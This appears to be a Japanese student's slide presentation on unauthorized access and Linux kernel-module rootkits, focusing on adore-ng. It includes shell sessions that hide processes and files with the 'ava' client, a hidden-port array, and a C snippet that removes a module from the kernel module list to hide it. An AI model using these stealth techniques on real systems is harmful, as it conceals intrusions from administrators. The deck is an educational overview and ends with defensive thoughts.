140 likes | 293 Views
最終発表 ー不正アクセスについてー. 環境情報学部3年 櫻井美帆. 不正アクセス. 役立つツールが rootkit. rootkit. ログインの記録を書き換える機能 コマンドファイルの置き換えや改竄 ネットワークスニファ バックドア などのツールがまとめられている. LKM rootkit. コマンドバイナリを改竄する必要がない ーファイルの整合性検査を回避できる カーネル自身を操作する ー正しい情報の取得が困難。発見も困難。. LKM rootkit. ・ adore ・ adore-ng
E N D
最終発表 ー不正アクセスについてー 環境情報学部3年 櫻井美帆
不正アクセス 役立つツールがrootkit
rootkit • ログインの記録を書き換える機能 • コマンドファイルの置き換えや改竄 • ネットワークスニファ • バックドア などのツールがまとめられている
LKMrootkit • コマンドバイナリを改竄する必要がない ーファイルの整合性検査を回避できる • カーネル自身を操作する ー正しい情報の取得が困難。発見も困難。
LKMrootkit ・adore ・adore-ng ・knark
adore-ng • Stealth氏によって開発されたLKMrootkit • 主にLKM本体のadore-ng.oとクライアントプログラムのavaから構成されている
主な機能 • process/ファイル/ネットワークなどの隠蔽 • 自分自身の隠蔽 • ローカルバックドア
processの隠蔽 オプションで“i”をつけることにより隠蔽することができる # ps –efww|grep emacs Root 16863 1 0 Des12 ? 00:00:03 emacs –display 172.16.10.10:0.0 # ./ava i 16863 Checking for adore-ng or higher … adore-ng installed. Good luck. made PID 16863 invisible # ps –ef | grep emacs #
ファイルの隠蔽 ファイルも同様にオプションで“h”をつけることにより隠蔽することができる #./ava hxxxx
ネットワーク接続の隠蔽 netstatコマンドの出力結果から、事前に設定しておいたサービス名、またはポート番号が含まれる行を除去することでネットワークサービスの隠蔽を行っている。 u_short HIDDEN_SERVICES[] = {2222, 7350, 0};
自分自身の隠蔽 #include <linux/kernel.h> #include <linux/module.h> #include <linux/string.h> int init_module(){ if (__this_module.next) __this_module.next = __this_module.next->next; return 0; } int cleanup_module(){ return 0; }
まとめ ・ ハードウェアに近づけば近づくほど 見つけるのが困難となる。 ・ 正常な状態を覚えておいて悪いところを発見するのは困難。 ・ メモリー空間上の書き換えを制限するような仕組みをつくればよいのでは?